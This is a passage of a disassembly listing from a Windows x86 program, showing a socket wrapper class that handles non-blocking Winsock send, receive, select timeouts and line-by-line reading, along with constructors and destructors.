		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AAF4
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AAF4
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AA8C
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AA8C
		call	sub_40196A
		test	al, al
		jz	loc_41AA8C


loc_41A9EB:				; CODE XREF: sub_41A990+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AAF4
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AA7F
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AAF4
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AA8C


loc_41AA7F:				; CODE XREF: sub_41A990+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41A9EB


loc_41AA8C:				; CODE XREF: sub_41A990+39j
					; sub_41A990+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AAF4
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAC1
		mov	[ecx], eax


loc_41AAC1:				; CODE XREF: sub_41A990+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAD9
		test	eax, eax
		jz	short loc_41AAD9
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAD9:				; CODE XREF: sub_41A990+134j
					; sub_41A990+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AAF4:				; CODE XREF: sub_41A990+13j
					; sub_41A990+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB70:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABC1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABC1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABA2
		mov	[ecx], eax


loc_41ABA2:				; CODE XREF: ___:0041AB9Ej
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABB0
		test	eax, eax
		jz	short loc_41ABB0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABB0:				; CODE XREF: ___:0041ABA5j
					; ___:0041ABA9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABC1:				; CODE XREF: ___:0041AB79j
					; ___:0041AB83j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABF0:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC0C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC0C:				; CODE XREF: ___:0041AC02j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC22


loc_41AC18:				; CODE XREF: ___:0041AC5Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC22:				; CODE XREF: ___:0041AC16j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC86
		mov	edi, ebp


loc_41AC3B:				; CODE XREF: ___:0041AC84j
		cmp	edi, ebx
		jz	short loc_41AC86
		cmp	[esp+18h], bl
		jz	short loc_41AC86
		call	sub_40196A
		test	al, al
		jz	short loc_41AC86
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC18
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC71
		cmp	al, 0Dh
		jz	short loc_41AC71
		cmp	al, bl
		jnz	short loc_41AC79


loc_41AC71:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41AC79:				; CODE XREF: ___:0041AC6Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC3B


loc_41AC86:				; CODE XREF: ___:0041AC37j
					; ___:0041AC3Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACD0:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41ACEC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41ACEC:				; CODE XREF: ___:0041ACE2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD02


loc_41ACF8:				; CODE XREF: ___:0041AD3Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD02:				; CODE XREF: ___:0041ACF6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD6D
		mov	edi, ebp


loc_41AD1B:				; CODE XREF: ___:0041AD6Bj
		cmp	edi, ebx
		jz	short loc_41AD6D
		cmp	[esp+18h], bl
		jz	short loc_41AD6D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD6D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41ACF8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD4D
		cmp	al, bl
		jnz	short loc_41AD60


loc_41AD4D:				; CODE XREF: ___:0041AD47j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD5A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD5C
; ---------------------------------------------------------------------------


loc_41AD5A:				; CODE XREF: ___:0041AD52j
		mov	[edi], bl


loc_41AD5C:				; CODE XREF: ___:0041AD58j
		mov	[esp+18h], bl


loc_41AD60:				; CODE XREF: ___:0041AD4Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD1B


loc_41AD6D:				; CODE XREF: ___:0041AD17j
					; ___:0041AD1Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADB0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADC2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADC2:				; CODE XREF: ___:0041ADBAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41ADD3
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADD3:				; CODE XREF: ___:0041ADCBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB951Eh
		nop
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE00	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE12
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE12:				; CODE XREF: sub_41AE00+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE23
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE23:				; CODE XREF: sub_41AE00+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AE00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AE8F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AE85
		cmp	[esi+80Bh], cl
		jz	short loc_41AE85
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE85:				; CODE XREF: ___:0041AE6Ej
					; ___:0041AE76j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE8F:				; CODE XREF: ___:0041AE69j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEC5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEC5:				; CODE XREF: ___:0041AEB9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF20:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF3D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF3D:				; CODE XREF: ___:0041AF31j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AF79
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF79:				; CODE XREF: ___:0041AF6Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFC0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B030	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B060
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B060:				; CODE XREF: sub_41B030+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0B0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B0F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B0F8:				; CODE XREF: sub_41B0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B130	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B142
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B142:				; CODE XREF: sub_41B130+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B195
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B167
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B167:				; CODE XREF: sub_41B130+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B17C


loc_41B171:				; CODE XREF: sub_41B130+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B171


loc_41B17C:				; CODE XREF: sub_41B130+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B195:				; CODE XREF: sub_41B130+20j
		pop	edi
		pop	esi
		retn	4
sub_41B130	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1C0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C017
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B1FF
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3AB
; ---------------------------------------------------------------------------


loc_41B1FF:				; CODE XREF: ___:0041B1E8j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B23C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B39E
; ---------------------------------------------------------------------------


loc_41B23C:				; CODE XREF: ___:0041B226j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B262
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B39E
; ---------------------------------------------------------------------------


loc_41B262:				; CODE XREF: ___:0041B24Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2A6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B390
; ---------------------------------------------------------------------------


loc_41B2A6:				; CODE XREF: ___:0041B28Bj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2B4:				; CODE XREF: ___:0041B2D2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B2D8
		cmp	cl, bl
		jz	short loc_41B2D4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B2D8
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2B4


loc_41B2D4:				; CODE XREF: ___:0041B2BEj
		xor	eax, eax
		jmp	short loc_41B2DD
; ---------------------------------------------------------------------------


loc_41B2D8:				; CODE XREF: ___:0041B2BAj
					; ___:0041B2C8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B2DD:				; CODE XREF: ___:0041B2D6j
		cmp	eax, ebx
		jz	short loc_41B34B
		push	ebp


loc_41B2E2:				; CODE XREF: ___:0041B335j
					; ___:0041B339j
		nop
		call	near ptr 27E0DC8h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B2F6
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B33B


loc_41B2F6:				; CODE XREF: ___:0041B2EDj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B302
		mov	edi, ebp


loc_41B302:				; CODE XREF: ___:0041B2FEj
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B30A:				; CODE XREF: ___:0041B328j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B32E
		cmp	cl, bl
		jz	short loc_41B32A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B32E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B30A


loc_41B32A:				; CODE XREF: ___:0041B314j
		xor	eax, eax
		jmp	short loc_41B333
; ---------------------------------------------------------------------------


loc_41B32E:				; CODE XREF: ___:0041B310j
					; ___:0041B31Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B333:				; CODE XREF: ___:0041B32Cj
		cmp	eax, ebx
		jnz	short loc_41B2E2
		mov	edi, ebp
		jmp	short loc_41B2E2
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: ___:0041B2F4j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B358
; ---------------------------------------------------------------------------


loc_41B34B:				; CODE XREF: ___:0041B2DFj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B358:				; CODE XREF: ___:0041B349j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B378
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B378:				; CODE XREF: ___:0041B368j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B390:				; CODE XREF: ___:0041B2A1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B39E:				; CODE XREF: ___:0041B237j
					; ___:0041B25Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3AB:				; CODE XREF: ___:0041B1FAj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B460:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4A0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4B8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4B8:				; CODE XREF: sub_41B4A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B4D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B540:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B580	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B690
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B690
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B5E3


loc_41B5B9:				; CODE XREF: sub_41B580+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B67F
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B5E3
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5B9


loc_41B5E3:				; CODE XREF: sub_41B580+37j
					; sub_41B580+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B67F


loc_41B5EE:				; CODE XREF: sub_41B580+F9j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B67F
		test	esi, esi
		jnz	short loc_41B61E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B61A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B61C
; ---------------------------------------------------------------------------


loc_41B61A:				; CODE XREF: sub_41B580+8Ej
		xor	eax, eax


loc_41B61C:				; CODE XREF: sub_41B580+98j
		mov	esi, eax


loc_41B61E:				; CODE XREF: sub_41B580+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B637
		push	7D0h
		call	ebp
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B637:				; CODE XREF: sub_41B580+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B674
